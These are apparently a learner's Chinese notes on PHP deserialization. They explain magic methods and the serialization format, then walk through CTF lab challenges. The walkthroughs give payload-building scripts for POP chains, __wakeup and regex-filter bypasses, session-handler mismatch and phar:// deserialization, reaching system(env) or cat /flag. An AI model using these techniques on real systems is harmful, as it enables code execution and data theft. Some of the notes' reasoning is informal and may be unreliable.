php反序列化靶场

PHP魔术方法

  • __construct() → 创建对象时自动执行;对象被实例化时触发
  • __destruct() → 对象销毁时自动执行
  • __get($name) → 读取不存在的属性时调用;用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
  • __set($name, $value) → 设置不存在的属性时调用;用于将数据写入不可访问的属性
  • __isset($name) → 对不存在的属性用 isset()empty() 时调用
  • __unset($name) → 对不存在的属性用 unset() 时调用
  • __call($method, $args) → 调用不存在的方法时触发;在对象上下文中调用不可访问的方法时触发
  • __callStatic($method, $args) → 调用不存在的静态方法时触发;在静态上下文中调用不可访问的方法时触发
  • __toString() → 对象转字符串时调用;把类当作字符串使用时触发
  • __invoke() → 把对象当函数用时调用;当尝试将对象调用为函数时触发
  • __clone() → 克隆对象时执行
  • __wakeup() → 执行unserialize()时,先会调用这个函数
  • __sleep() → 执行serialize()时,先会调用这个函数

整理了部分更加详细的魔术方法使用,后续会再补充一些

  • __construct()` → 创建对象时自动执行

    PHP允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

  • __destruct() → 对象销毁时自动执行

    析构函数(Destructor)是面向对象编程中一种特殊的成员函数,它在对象生命周期结束时被自动调用,主要工作是清理和释放对象生前占用的资源,如动态分配的内存、打开的文件句柄、网络连接等,以防止资源泄漏,确保程序稳定运行。

    也就是说,destruct函数可以在脚本结束前执行其他操作,脚本结束会自动清理内容缓存,destruct可以在脚本清除数据之前做到对数据的保存(转移到另一个文件里),也可以在清理前执行关闭文件之类的,使数据被正确释放

    直接执行,然后没有对其他文件连接的断开或者是储存操作,最后清空缓存的时候还是会把做的改变清理掉,完全初始化

    在清理前执行断开连接或者是保存之后关闭文件,清理数据就不会再清理文件内的东西了

  • __get($name) → 读取不存在的属性时调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    class Fruit
    {
    public $lemon = 'goodLemon';
    private $cherry = 'goodCherry';
    protected $orange = 'goodOrange';

    public function __get($name)
    {
    return "[__get] $name";
    }
    }

    $fruit = new Fruit();

    // 1. public
    // → string(5) "goodLemon"
    var_dump($fruit->lemon);

    // 2. inaccessible(pivate)
    // → string(14) "[__get] cherry"
    var_dump($fruit->cherry);

    // 3. inaccessible(protected)
    // → string(14) "[__get] orange"
    var_dump($fruit->orange);

    // 4. non-existing
    // → string(13) "[__get] apple"
    var_dump($fruit->apple);

    lemon是public的属性,所以可以正常读取。

    cherry是private,外界基本上是没办法读取的,因此触发了__get魔术方法。

    orange是protected,外界基本上是没办法读取的,因此触发了__get魔术方法。

    第四个示例的apple,基本上根本没有声明过,所以是不存在的,也触发了__get魔术方法。

  • __set($name, $value) → 设置不存在的属性时调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    class Fruit
    {
    public $lemon = '';
    private $cherry = '';
    protected $orange = '';

    public function __set($name, $value)
    {
    echo "[__set] $name, $value".PHP_EOL;
    }
    }

    $fruit = new Fruit();

    // 1. public
    // → 正常
    $fruit->lemon = 'goodLemon';

    // 2. pivate
    // → [__set] cherry, goodCherry
    $fruit->cherry = 'goodCherry';

    // 3. protected
    // → [__set] orange, goodOrange
    $fruit->orange = 'goodOrange';

    // 4. non-existing
    // → [__set] apple, goodApple
    $fruit->apple = 'goodApple';

    如示例所示,

    1. lemno 是 public 的属性,所以可以正常写入。
    2. cherry 是 private,外界基本上是没办法写入的,因此触发了 __set 魔术方法。
    3. orange 是 protected,外界基本上是没办法写入的,因此触发了 __set 魔术方法。
    4. 第四个示例的 apple,基本上根本没有声明过,所以是不存在的,也触发了 __set 魔术方法。
  • __isset($name) → 对不存在的属性用 isset()empty() 时调用

    属性重载(这个也在重载目录下)

  • __unset($name) → 对不存在的属性用 unset() 时调用

在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用isset()empty()时,__isset() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。

重载方面的不清楚可以重新研究这部分程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
class PropertyTest {
/** 被重载的数据保存在此 */
private $data = array();


/** 重载不能被用在已经定义的属性 */
public $declared = 1;

/** 只有从类外部访问这个属性时,重载才会发生(不可访问类型) */
private $hidden = 2;

public function __set($name, $value)
{
echo "Setting '$name' to '$value'\n";
$this->data[$name] = $value;
}

public function __get($name)
{
echo "Getting '$name'\n";
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}

$trace = debug_backtrace();
trigger_error(
'Undefined property via __get(): ' . $name .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return null;
}

public function __isset($name)
{
echo "Is '$name' set?\n";
return isset($this->data[$name]);
}

public function __unset($name)
{
echo "Unsetting '$name'\n";
unset($this->data[$name]);
}

/** 非魔术方法 */
public function getHidden()
{
return $this->hidden;
}
}


$obj = new PropertyTest;

$obj->a = 1; // 触发 __set()因为属性 a 在类中没有定义,PHP会调用 __set() 方法来动态设置属性,输出: Setting 'a' to '1
echo $obj->a . "\n\n"; // 触发 __get(),尝试访问未定义的属性 a,__get() 从 $data 数组中查找并返回值,输出: Getting 'a' 然后输出 1

var_dump(isset($obj->a));// 触发 __isset(),检查未定义属性 a 是否设置,__isset() 检查 $data 数组中是否存在该键,输出: Is 'a' set?
unset($obj->a); // 触发 __unset(),尝试销毁未定义属性 a,__unset() 从 $data 数组中移除该键,输出:Unsetting 'a'
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";//访问已定义的公共属性,不触发__get()$declared 是已定义的公共属性(public $declared = 1),PHP直接访问该属性,不经过魔术方法,输出: 1

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";//通过方法访问私有属性,不触发 __get(),getHidden() 是普通方法,在类内部访问私有属性 $hidden,私有属性在类内部可见,直接返回 $this->hidden,输出: 2
echo "Privates not visible outside of class, so __get() is used...\n"; // 触发 __get(),从类外部直接访问私有属性 $hidden,私有属性在类外部不可访问,因此触发 __get(),$data 数组中没有 'hidden' 键,触发错误,输出: Getting 'hidden' 然后触发 notice 错误
echo $obj->hidden . "\n";
?>
  • __call($method, $args) → 调用不存在的方法时触发

    ​ 在对象中调用一个不可访问方法时,__call() 会被调用。

    __callStatic($method, $args) → 调用不存在的静态方法时触发

    ​ 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

    • $name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。

    方法重载

    重载

    PHP所提供的重载(overloading)是指动态地创建类属性和方法, 当调用当前环境下未定义或不可见的类属性或方法时,重载方法会被调用。我们是通过魔术方法(magic methods)来实现的。

    所有的重载方法都必须被声明为 public

    不可访问属性(inaccessible properties)和不可访问方法(inaccessible methods)来称呼这些未定义或不可见的类属性或方法。

  • __toString() → 对象转字符串时调用

方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

有使用的注意事项,有空自己搜出来看吧,料你这会都用不上

  • __invoke() → 把对象当函数用时调用

    当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    class Sort
    {
    private $key;
    public function __construct(string $key)
    {
    $this->key = $key;
    }
    public function __invoke(array $a, array $b): int
    {
    return $a[$this->key] <=> $b[$this->key];
    }
    }
    $customers = [
    ['id' => 1, 'first_name' => 'John', 'last_name' => 'Do'],
    ['id' => 3, 'first_name' => 'Alice', 'last_name' => 'Gustav'],
    ['id' => 2, 'first_name' => 'Bob', 'last_name' => 'Filipe']
    ];
    // sort customers by first name
    usort($customers, new Sort('first_name'));
    print_r($customers);
    // sort customers by last name
    usort($customers, new Sort('last_name'));
    print_r($customers);
    ?>
  • __clone() → 克隆对象时执行

    相当于创建副本,使修改内容不去影响原状态

    就是独立开成为一个新的对象

  • __sleep()

    serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。 如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误。

    __wakeup()

    __sleep()__wakeup()是PHP中的两个魔术方法,__sleep()在对象被序列化 (serialize) 之前调用,用于指定要保存的属性(返回属性名数组);而__wakeup()则在对象被反序列化 (unserialize) 之后调用,用于重新初始化对象资源(如数据库连接),常用于数据准备或清理,是处理对象持久化状态的关键。
    __sleep()
    调用时机: 在 serialize() 序列化对象之前。

    作用: 开发者可以指定哪些属性需要被序列化。

    返回值: 必须返回一个包含要序列化属性名称的数组。

    用途: 节省空间,忽略大对象、临时资源,或提交未完成的事务。

    注意: 如果未返回数组,或返回无效内容(非数组),会产生错误;不能返回父类的私有成员。

    __wakeup()

    调用时机: 在 unserialize() 反序列化对象之后,对象构建完成时。

    作用: 对象被反序列化后,重新初始化对象所需资源。

    返回值: 无需返回值。

    用途: 重新建立数据库连接,初始化缓存,执行其他设置操作。

    注意: 在一些安全场景中(如反序列化漏洞),可以通过修改序列化数据(如属性数量)来尝试跳过__wakeup()的执行。

序列化反序列化示例

  • 序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

/*
输出:
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
[0] => xiao
[1] => shi
[2] => zi
)

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
依次类推
*/
1
a:3【数组元素个数】:{i:0【数组第几项】;s:4【字符串长度】:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>

基础序列化示例

1
O:4:"test":1:{s:9:"testpub";s:6:"benben";}

这里$pub变量是私有属性,所以在输出的时候会呈现为类名+属性名,由于私有属性所以在输出的变量前后会相当于有%00所以结果就是在序列化之后得到的数据长度会比类名+属性名多出两个字符长度

如果是public属性的话,输出的时候就只会有属性,没有类名,然后长度就是字符长度

如果是protected属性,输出的时候就是*+属性,但是长度会比*+属性还多两个,是因为实际上是%00+*+%00+属性

这个地方jineng()函数并不是对pub做了一个赋值过程,$this在类成员中是存在的,这里的作用就是读写并输出pub,然后这里就是$pub和pub都是在这个类下面的,输出的时候就是输出了两个部分

但是实际上输出的部分只有一个属性,所以只会在test后呈现为1

$this:当前对象实例,指到,相当于一个指针作用

当前对象实例 = 正在执行方法的那个具体对象

提交最终的序列化对象,序列化也相当于一种编码,可以在执行的时候更简洁

实例学习:

2025geek popself

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>
  1. 变量带入是get方式传递给24_SYC.zip变量

  2. 非法字符绕过:非法字符会被解析成_(同一个地方栽第二次了,流汗黄豆)

  3. if else语句中有反序列化,所以提交的内容是序列化格式的,提交之后自动序列化

  4. 这里isset()不是魔术方法,这里是检查内容是否为空的作用,并不是魔术方法那个触发

  5. payload里相当于你可以提交很多东西,但是提交的内容要去挨个触发上面的函数,才能让回显得出来是flag,就是要挨个去触发函数

  6. 所有的变量都在all_in_one类下面,在制作payload时,声明变量需要注意必须写到类名

  7. 而且我们不是直接改变量本身,而是声明新的变量然后赋值过去

  8. 1
    2
    3
    4
    $payload = $_GET["24_SYC.zip"];
    if (isset($payload)) {
    unserialize($payload); // 这里创建对象,但没保存到变量
    } // 脚本结束后,这些临时对象被销毁

    最下面那部分就是一个小的脚本,所以实际上执行结束才是触发的开始,因为一开始的payload,就是通过销毁之后引用其他数据变化过来的

  9. 下一步就是md5的比较,满足第二个条件,但是不满足第一个强比较,有一个summer的赋值

  10. 执行 $this->QYQS->partner = "summer"__set()魔术方法触发:不是,partner没有一开始的属性定义,直接会触发

  11. 先触发条件判断中的 $fox()(它调用静态方法,不触发魔术方法),然后触发 __call,再触发 __toString,最后才触发 __invoke

  12. __set()触发之后的if条件判断,$fox instanceof All_in_one:检查$fox是否是All_in_one类的实例,!:逻辑非(取反),要同时满足类里没有变量$fox以及满足$fox()===”summer”;这里的summer是字符串

    • __set 中,首先检查 $fox(即 obj2->Fox)是否不是 All_in_one 的实例,并且调用 $fox() 返回字符串 “summer”。这里 $fox 是数组 ["summer", "find_myself"],调用它返回 “summer”,条件满足。
    • 这实际上是把”$fox”当成一个函数调用,然后判断它的返回值是不是”summer”。所以 __set 这一块的逻辑:如果Fox 不是 All_in_one 对象,并且Fox 作为函数执行后,返回 “summer”,那么执行;
    • 但是这里$fox()赋值为数组(不会触发__invoke()),然后也不属于这个类,然后要求执行之后返回内容是summer,全文的summer是放在一个静态方法里的,就是下面的find_myself里,要给一个$fox到这个数组
    • all_in_one里的$fox是一个实例,并不是数组,所以赋值为数组之后就不属于这个类了
  13. 后面的$a也会触发__invoke(),但是前面还有个__tostring()魔术方法,调用是把对象转为字符串的时候,也许可以直接交一个变量然后赋值触发?

  14. 回到if判断下方,执行 $komiko->Eureka($this->L, $this->sleep3r),Eureka方法没有定义,触发__call

  15. $args[0]就当成一个普通变量,管$arg[1]的值干什么,是直接输出的

  16. echo $args[1];是返回值给sleep3r了吗?

  17. 这里__call里变量其实提交了两个,就像是C语言的函数调用一样,两个变量分别去对应$this->L$this->sleep3r,所以实际上需要做赋值处理的就是看参数$args[0]对应的即 $this->L,值为 “1e4”的长度是否小于4且加1后大于10000,这是判断条件

  18. 输出的是$arg[1],对应的变量就是$this->sleep3r,这里把变量当成字符串输出就会触发__toString

  19. __toString 中,执行 $a = $this->_4ak5ra; $a();,调用__invoke()

  20. __invoke 中,执行 $f($arg),赋值就给要执行的命令,目的是要flag,就去呈现目录,要的就是system(env)

  21. 关于__invoke()$f($arg)会不会触发__invoke()从而陷入循环的问题:

    这里把$f$arg都赋值成一个字符串了,并不是变量,所以不会循环触发

  22. 使用的指令(需要进行筛选)

    cat/flag(或者加上其他flag文件地址之类的)或者env(当flag存在于环境变量)

  23. 最后注意:提交的内容是get方式交到url上,所以还需要在序列化之后url编码

PHP反序列化靶场

un-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if (!isset($_GET['tryhackme'])){
show_source(__FILE__);
}
else{
$a=$_GET['tryhackme'];
echo $a;
unserialize($a);
}
?><!--key in flag1.php-->

前置知识:

__wakeup():在对象被反序列化 (unserialize) 之后调用,用于重新初始化对象资源(如数据库连接),常用于数据准备或清理,是处理对象持久化状态的关键。

__destruct():对象销毁时自动执行,destruct可以在脚本清除数据之前做到对数据的保存(转移到另一个文件里),也可以在清理前执行关闭文件之类的,使数据被正确释放

empty():检查是否为空,如果为空则返回TRUE;反之则FALSE;

isset():检查是否存在,如果存在则返回TRUE;反之则FALSE;

strchr():也许这里可以类比C语言,就是检查是否有与search项匹配的部分,因此需要知道strchr的结构

1
strchr(string,search,before_search);

这里的stringsearch是必须的,before_search默认FALSE,如果是是TRUE那么会返回search的参数第一次出现的字符串部分。

dirname(path):参数path是一个包含有指向一个文件的全路径的字符串

  • 类名:SoFun
  • 变量:file,protected属性
  • 注入点:GET变量tryhackme,这是payload的地方

先触发__destruct()

魔术方法触发会让变量被重置,并且由于最后一步是反序列化,所以不能直接避免执行,而是要让它无法执行,让它失效,不满足被执行的原理

当反序列化字符串中声明的对象属性数量大于实际属性数量时,__wakeup()+会被跳过。

所以这里构建两个变量,然后再进行编码

1
2
3
4
5
6
7
8
<?php
class SoFun{
protected $file='flag1.php';
}
$a=new SoFun();
$b=serialize($a);
echo urlencode($b);
?>

还是有相对路径的问题

Linux默认/

所以直接在windows本地的就失败了

un-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "flag2.php";
class funny{
function __wakeup(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
if(preg_match('/[oc]:\d+:/i', $a)){
die("NONONO!");
} else {
unserialize($a);
}
} else {
show_source(__FILE__);
}

?>

preg_match():preg_match — 执行匹配正则表达式

show_source():show_source — 别名 highlight_file() — 语法高亮一个文件,打印输出或者返回 filename 文件中语法高亮版本的代码

序列化的结构被过滤也就是:和数字直接连接的结果都会被处理,所以如果没有连接数字就可以

本体比想象的少,这里对序列化内容做url编码之后还会被过滤掉所以需要处理之后再url

所以就是先序列化再处理防止被匹配,再url编码(防止特殊符号)

可以用+5或者5e0代替5

前面部分,类中没有设置变量,所以就不需要在重申类的时候写变量,

1
2
3
4
5
6
7
<?php
class Funny{
}
$a=new Funny();
$b=serialize($a);
echo $b;
?>

之后替换,再编码

un-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "flag3.php";
class funny{
private $password;
public $verify;
function __wakeup(){
global $nobodyknow;
global $flag;
$this->password = $nobodyknow;//将 $nobodyknow 赋值给 $this->password
if ($this->password === $this->verify){
echo $flag;
} else {
echo "你不太行啊??!";
}
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
show_source(__FILE__);
}
?>

因为存在比较,所以一定会使用已经存在的内容这里需要函数?

变量password和verify全等,所以需要相同赋值,但是不能直接赋值

等一下这里global变量都是未定义的(定义应该是访问权限之类的内容)

类的内部共享同一个属性,所以一开始的时候password和verify是一个值,但是之后对password赋值了,这个时候就不再满足全等,所以这里的方式是将他们绑定为引用关系,这个时候就算改变了也没有影响

主逻辑

  • 如果 GET 参数 tryhackme 存在,则反序列化它
  • 否则显示源码(所以show_source的那个FILE根本不指五我们需要的文件而是

好吧他的意思就是前面两个全局变量就是未知的,有可能来自一开始包含的这个文件,所以假设为多少也好,假设为空也好,实际上就是相当于两个变量都是未知的

这里的两个全局变量在flag3.php里被定义申明之类的,所以才能有后来的echo的flag

建立引用关系(函数),注意不要漏了函数访问限制的判定

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Funny{
private $password;
public $verify;
public function yep() {
$this->password =& $nobodyknow;
}
}
$b=new Funny();
$b->yep();//记得调用引用关系
$c=serialize($b);
echo urlencode($c);
?>

un-4

1
2
3
4
5
6
7
8
9
10
<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>

un-42

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "flag4.php";
ini_set('session.serialize_handler','php');//设置了 PHP 的 session 序列化处理器为 php
session_start(); // 开始 session,会反序列化 session 数据
class funny{
public $a;
function __destruct(){
global $flag;
echo $flag;
}
}
show_source(__FILE__);
?>
  • ini_set 函数详细介绍

    ini_set 是 PHP 的一个内置函数,用于在脚本运行时临时修改 php.ini 配置选项。它能即时生效,但仅在当前脚本执行期间有效,脚本结束后设置会自动失效。通过 ini_set("选项", "新值") 的方式,无需重启服务器即可灵活调整参数。

    功能: 设置指定配置选项的值。该选项会在脚本运行时生效,脚本结束后恢复。

    语法: string ini_set ( string $varname , string $newvalue )

    返回值: 成功时返回旧值,失败时返回 false。

    作用域: 仅在当前脚本运行周期内有效。

会话赋值:如果传入tryhackme 参数,会将其值存入$_SESSION['tryhackme']中;否则显示当前代码。PHP 会话序列化漏洞的核心是:当存储会话数据和读取会话数据时使用不同的序列化处理器,可能导致恶意数据被反序列化执行。

ini_set() 设置 PHP 的会话序列化处理器为php_serialize,会话数据将以 PHP 的默认序列化格式进行存储 GET 变量 tryhackme 的值存储到 $_SESSION 数组中,这个数组最终被序列化 Session:服务器用来存储用户会话状态(比如登录状态、用户 ID、购物车信息)的机制,避免每次请求都重新验证用户

序列化处理器是什么?

PHP 在存储 session 数据时,需要将数组或对象序列化为字符串。序列化处理器决定了如何序列化和反序列化 session 数据。

常见的序列化处理器:

  • php(默认):使用键名 + | + 序列化值 的格式
    • 例如:user|s:5:"admin";
  • php_serialize(PHP 5.5.4+):使用标准的 serialize() 函数格式
    • 例如:a:1:{s:4:"user";s:5:"admin";}
  • php_binary:使用二进制格式

php处理器的具体格式:

当使用 php 处理器时:

1
2
$_SESSION['key'] = 'value';
// 存储为:key|s:5:"value";

反序列化时,会寻找第一个 | 字符:

  • | 左边是键名(key)
  • | 右边是值的序列化字符串(serialized value)
特点 unserialize() session_start() + php 处理器
触发方式 直接调用函数 自动反序列化 session 数据
输入控制 通常来自参数 来自 session 存储
利用难度 需要找到参数 需要控制 session 数据
常见场景 直接反序列化漏洞 session 反序列化漏洞

两个代码联合起来看,有会话被序列化的配置,传入的参数会赋给会话,也就是会话赋值,

un42.php 用 php处理器读取时,会将竖线 | 前面的内容视为键名(这里为空),后面的内容被当作值反序列化,从而执行恶意代码。

利用php处理器不适配,

session 数据默认存储在服务器的临时文件中(比如/tmp/sess_xxxxxxxxxxxx是 session_id)。

典型的 session 反序列化漏洞,即两个⻚面设置的session 序列化方式不同
这里42是能通过直接创建一个funny的实例 销毁了过后直接就flag了 4这里是储存到会话 然后serialize() 负责 “写入 session 数据”(用php_serialize格式)

php处理器解析 session 数据时,会按第一个 | 把字符串拆成「键名」和「要反序列化的值」|左边被当成空键名,|右边的funny对象序列化字符串会被当成 “值”,触发反序列化。

1
2
3
4
5
class funny{
public $a;
}
$x = new funny;
echo urlencode(“|” . serialize($x));

全过程 php处理器解析 session 数据:
a:1:{s:8:”tryhackme”;s:31:”|O:5:”funny”:1:{s:1:”a”;N;}”;}当成普通字符串(因为php处理器不认识php_serialize的数组格式);
按第一个 | 分割:左边是a:1:{s:8:”tryhackme”;s:31:”(被当成键名),右边是O:5:”funny”:1:{s:1:”a”;N;}(被当成 “值”);

PHP 自动对右边的funny对象序列化字符串执行unserialize() → 生成funny对象

un-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include "flag5.php";
class funny{
private $a;
function __construct() {
$this->a = "givemeflag";
}
function __destruct() {
global $flag;
if ($this->a === "givemeflag") {
echo $flag;
}
}
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("你到底行不行啊");
}
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>

上半部分:要先触发__construct()再触发__destruct()

__construct():创建对象时自动执行,PHP允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

这一部分就是数据销毁前的状态

下半部分:传入内容是字符串,匹配前三十二号和126号后的字符串,所以要把 有效内容放在这个中间,再反序列化

ord() — 转换字符串第一个字节为 0-255 之间的值

chr() — 从数字生成单字节字符串

两个函数互补

所以这里其实不是字符串长度中间的部分过滤而是要控制ASCII值

这里涉及了序列化对私有属性处理的特点:

私有属性在输出的变量前后会相当于有%00,所以结果就是在序列化之后得到的数据长度会比类名+属性名多出两个字符长度

但是这里又要求必须要有有效字符,也就是说需要我们手动编码,这里用十六进制就好

1
O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

然后再url编码

un-6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "flag6.php";
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
show_source(__FILE__);
}
?>

乍一看总觉得是6和5设置反了,但是6这里有一个$a()把变量当函数调用可以触发一个魔术方法,但是源代码没有,推测需要我们自己构造触发

依旧有判断是不是字符串的,但是我现在暂时还不能确定这个判断到底过滤了什么

还是有触发函数,等会这个$a是不是用来触发pyflag函数的

is_string() — 检测变量的类型是否是字符串

这里和调用引用关系那里还是不一样

$a():PHP会尝试调用 $a 这个变量,如果 $a 是函数名,就调用该函数;如果 $a 是数组 [对象, 方法名],就调用该对象的方法

a自己本身不能作为我们需要的那个函数,pyflag才是我们需要的函数,那就用数组

1
2
3
4
5
6
7
8
9
10
11
<?php
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
$b = new funny();  
$c = [$b,"pyflag"];
echo urlencode(serialize($c));
?>

un-7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include "flag7.php";
class funny{
function __destruct() {
global $flag;
echo $flag;
}
}

show_source(__FILE__);
if (isset($_GET['action'])) {
$a = $_GET['action'];
if ($a === "check") {
$b = $_GET['file'];
if (file_exists($b) && !empty($b)) {
echo "$b is exist!";
}
} else if ($a === "upload") {
if (!is_dir("./upload")){
mkdir("./upload");
}
$filename = "./upload/".rand(1, 10000).".txt";
if (isset($_GET['data'])){
file_put_contents($filename, base64_decode($_GET['data']));
echo "Your file path:$filename";
}
}
}
?>

先是触发__destruct(),输入action,但是内容有限制,但是没关系还有提交file,但是要检查是否为空,所以不能从if走,要去走else if,所以就是action需要满足upload

但是等等file为空这个可以绕过吗?

is_dir— 判断给定文件名是否是一个目录

mkdir— 创建一个或多个新的目录

长度限制,后缀被闭合,

file_put_contents:把数据写入文件

这是一个 PHP 反序列化漏洞的题目,通过 phar:// 协议触发反序列化来执行 funny 类的 __destruct() 方法,从而输出 flag。

题目本身没有序列化的处理,所以正常来说是不能使用反序列化漏洞的,但是 如果使用 phar:// 伪协议读取一个 PHAR 文件(PHP Archive),PHP 会自动解析该文件中的元数据(Metadata)。而这个元数据是以序列化的形式存储的。 这意味着:file_exists("phar://path/to/file") 等同于 unserialize(metadata)。即使文件后缀是 .txt,只要内容符合 PHAR 格式,phar:// 协议依然能解析它。

对phar的描述是:phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。

  • 包含 flag7.php(定义 $flag 变量)

  • 定义 funny 类,其 __destruct() 方法输出 $flag

  • 提供两个操作:

    • action=check:检查文件是否存在
    • action=upload:上传文件(base64 编码内容)
  • check 操作使用 file_exists($b),其中 $b 用户可控

  • 可以使用 phar:// 协议触发反序列化

  • upload 操作可以上传任意文件内容 伪协议上传文件

